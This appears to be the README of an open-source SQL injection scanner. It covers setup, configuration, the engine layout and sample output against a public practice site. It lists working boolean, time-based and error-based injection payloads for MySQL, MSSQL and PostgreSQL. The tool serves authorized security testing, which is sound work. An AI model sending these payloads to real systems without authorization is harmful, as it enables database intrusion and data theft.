A comprehensive, modular SQL injection testing framework designed for security professionals, developers, and ethical hackers. This tool automates the detection of SQL injection vulnerabilities across multiple attack vectors with comprehensive payload coverage and professional reporting.
- Multi-Vector Testing: Boolean-based, Time-based, Union-based, and Error-based SQL injection detection
- Comprehensive Payload Library: 150+ carefully crafted payloads across all SQL injection types
- Smart Detection: Advanced response analysis with configurable thresholds
- Professional Reporting: Beautiful HTML reports with detailed findings
- Modular Architecture: Easy to extend and customize
- Boolean-Based: Detects page content differences between true/false conditions
- Time-Based: Identifies delayed responses indicating time-based vulnerabilities
- Union-Based: Tests for UNION query injection and data extraction
- Error-Based: Analyzes database error messages for information disclosure
- MySQL / MariaDB
- PostgreSQL
- Microsoft SQL Server
- Oracle Database
- SQLite
- And other SQL-compliant databases
- Python 3.7 or higher
- pip (Python package manager)
# Clone the repository
git clone https://github.com/RicheByte/sqlEngine.git
cd sqlEngine
# Create virtual environment (recommended)
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txtrequests- HTTP client for web requestsurllib3- URL handling and SSL management
python main.pyEdit config.py to customize your scan:
# Target configuration
TARGET_URL = "http://example.com/vulnerable-page.php"
TEST_PARAMS = ["id", "category", "user"] # Parameters to test
# Engine configurations
TIME_DELAY_THRESHOLD = 3 # Seconds for time-based detection
BOOLEAN_DIFFERENCE_THRESHOLD = 0.3 # Content difference threshold
MAX_PAYLOADS_PER_TEST = 50 # Payloads per engineFor advanced usage, you can modify main.py to accept command-line arguments:
# Example enhancement for command-line support
import argparse
parser = argparse.ArgumentParser(description='SQL Injection Automator')
parser.add_argument('--url', help='Target URL')
parser.add_argument('--params', help='Comma-separated parameters to test')
args = parser.parse_args()sqli_automator/
βββ main.py # Main entry point
βββ config.py # Configuration settings
βββ engines/ # SQL injection detection engines
β βββ boolean_engine.py # Boolean-based detection
β βββ time_engine.py # Time-based detection
β βββ union_engine.py # Union-based detection
β βββ error_engine.py # Error-based detection
βββ utils/ # Utility modules
β βββ http_client.py # HTTP request handling
β βββ html_reporter.py # HTML report generation
β βββ response_analyzer.py # Response analysis
βββ payloads/ # SQL injection payload libraries
β βββ boolean_payloads.txt
β βββ time_payloads.txt
β βββ union_payloads.txt
β βββ error_payloads.txt
βββ requirements.txt # Python dependencies
The tool now features smart payload management that makes it incredibly easy to work with new payloads:
Simply add payloads to the text files in the payloads/ directory - one payload per line:
# Add custom boolean payloads
echo "' OR 1=1 LIMIT 1--" >> payloads/boolean_payloads.txt
# Add custom time-based payloads
echo "'; SELECT pg_sleep(10)--" >> payloads/time_payloads.txt
# Add comments for organization (lines starting with # are ignored)
echo "# MySQL-specific payloads" >> payloads/error_payloads.txt
echo "' AND ExtractValue(1,CONCAT(0x5c,version()))--" >> payloads/error_payloads.txtThe script now includes intelligent payload handling:
- Automatic Deduplication: Duplicate payloads are automatically removed
- Normalization: Whitespace is normalized for consistency
- Smart Ordering: Payloads are ordered by complexity (simple β complex)
- No Limits: By default, ALL payloads from files are used (configurable)
- Error Recovery: Built-in fallback payloads if files are missing
Edit config.py to customize payload behavior:
# Payload configurations
MAX_PAYLOADS_PER_TEST = None # None = use all payloads, or set a number
SKIP_DUPLICATE_PAYLOADS = True # Automatically remove duplicates
NORMALIZE_PAYLOADS = True # Clean whitespace
SMART_PAYLOAD_ORDERING = True # Order by effectivenessCreate clean, readable payload files:
# Boolean-based payloads for MySQL
' OR '1'='1
' OR '1'='2
' AND 1=1--
' AND 1=2--
# Advanced Boolean payloads
' OR EXISTS(SELECT 1 FROM users)--
' AND (SELECT COUNT(*) FROM information_schema.tables)>10--
# Comments and blank lines are ignored
Organize payloads by database type for better results:
# MySQL payloads use SLEEP, BENCHMARK, ExtractValue
' AND SLEEP(5)--
' AND BENCHMARK(5000000,MD5('test'))--
# MSSQL payloads use WAITFOR, CONVERT
' AND WAITFOR DELAY '0:0:5'--
' AND 1=CONVERT(int,(SELECT @@version))--
# PostgreSQL payloads use pg_sleep, CAST
' AND pg_sleep(5)--
' AND 1=CAST((SELECT version()) AS int)--Modify utils/http_client.py for advanced HTTP settings:
# Custom headers
self.session.headers.update({
'User-Agent': 'Custom-Scanner/1.0',
'X-Custom-Header': 'value'
})
# Proxy support
self.session.proxies = {
'http': 'http://proxy:8080',
'https': 'https://proxy:8080'
}The tool generates comprehensive HTML reports with:
- Executive Summary: Vulnerability counts and risk assessment
- Detailed Findings: Specific payloads and evidence for each vulnerability
- Scan Metadata: Timing information and target details
- Responsive Design: Mobile-friendly report layout
Sample report location: scan_report.html
- Configurable timeouts to prevent hanging requests
- Retry logic for unreliable network conditions
- SSL verification options for testing environments
- Payload limits to prevent excessive requests
- Comprehensive exception handling across all modules
- Graceful degradation when payload files are missing
- Connection testing before full scan execution
- Compares response lengths between true/false conditions
- Uses configurable difference thresholds (default: 30%)
- Tests multiple quote types and comment syntaxes
- Measures response delays for sleep-based payloads
- Supports database-specific timing functions
- Handles timeout exceptions as potential indicators
- Tests various column counts and data types
- Detects database error messages and content changes
- Identifies successful data extraction attempts
- Analyzes database error messages in responses
- Uses pattern matching for different database systems
- Detects information disclosure through error messages
π Starting SQL Injection Automation...
π― Target: http://testphp.vulnweb.com/listproducts.php
π Testing Parameters: cat, artist, category
==================================================
Testing parameter: cat
==================================================
β‘ Running Boolean-Based SQLi...
β
Boolean-Based - VULNERABLE
β‘ Running Time-Based SQLi...
β Time-Based - Not vulnerable
π SQL INJECTION TEST REPORT
============================================================
π¨ VULNERABILITIES FOUND: 1
β’ Parameter: cat
Type: Boolean-Based SQL Injection
Payload: ' OR '1'='1
Evidence: Response length changed from 2456 to 128 (difference: 94.79%)
π Summary:
Total tests executed: 4
Vulnerabilities found: 1
HTML Report: scan_report.html
- Automated vulnerability assessment
- Comprehensive coverage of SQL injection techniques
- Professional reporting for client deliverables
- CI/CD pipeline integration
- Pre-deployment security checks
- Educational purposes for secure coding
- Learning SQL injection techniques
- Understanding web application security
- Security research and methodology
This tool should only be used on:
- Your own systems and applications
- Systems you have explicit permission to test
- Educational environments designed for security training
- Always obtain proper authorization before testing
- Respect robots.txt and terms of service
- Follow responsible disclosure practices
- Comply with local laws and regulations
Connection Errors:
# Check network connectivity and URL accessibility
# Verify SSL certificates if using HTTPSMissing Dependencies:
# Reinstall requirements
pip install --force-reinstall -r requirements.txtPayload File Issues:
# Tool will use built-in payloads if files are missing
# Check file permissions and pathsAdd debug output by modifying engine classes:
# In any engine file, add:
print(f" Testing payload: {payload}")
print(f" Response length: {len(response)}")- Create new engine in
engines/directory - Implement the
test()method - Add to engine list in
main.py
Support different payload formats by modifying payload loading:
def _load_payloads(self):
# Support JSON, YAML, or database sources
with open('payloads/custom.json') as f:
return json.load(f)['payloads']We welcome contributions! Please:
- Fork the repository
- Create a feature branch
- Add tests for new functionality
- Submit a pull request
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
# Code formatting
black .- Security researchers and the infosec community
- Open-source security tools that inspired this project
- Contributors and testers who help improve the tool
Disclaimer: This tool is for educational and authorized security testing purposes only. The developers are not responsible for any misuse or damage caused by this tool. Always ensure you have proper authorization before conducting any security tests.
Happy (and responsible) hacking!


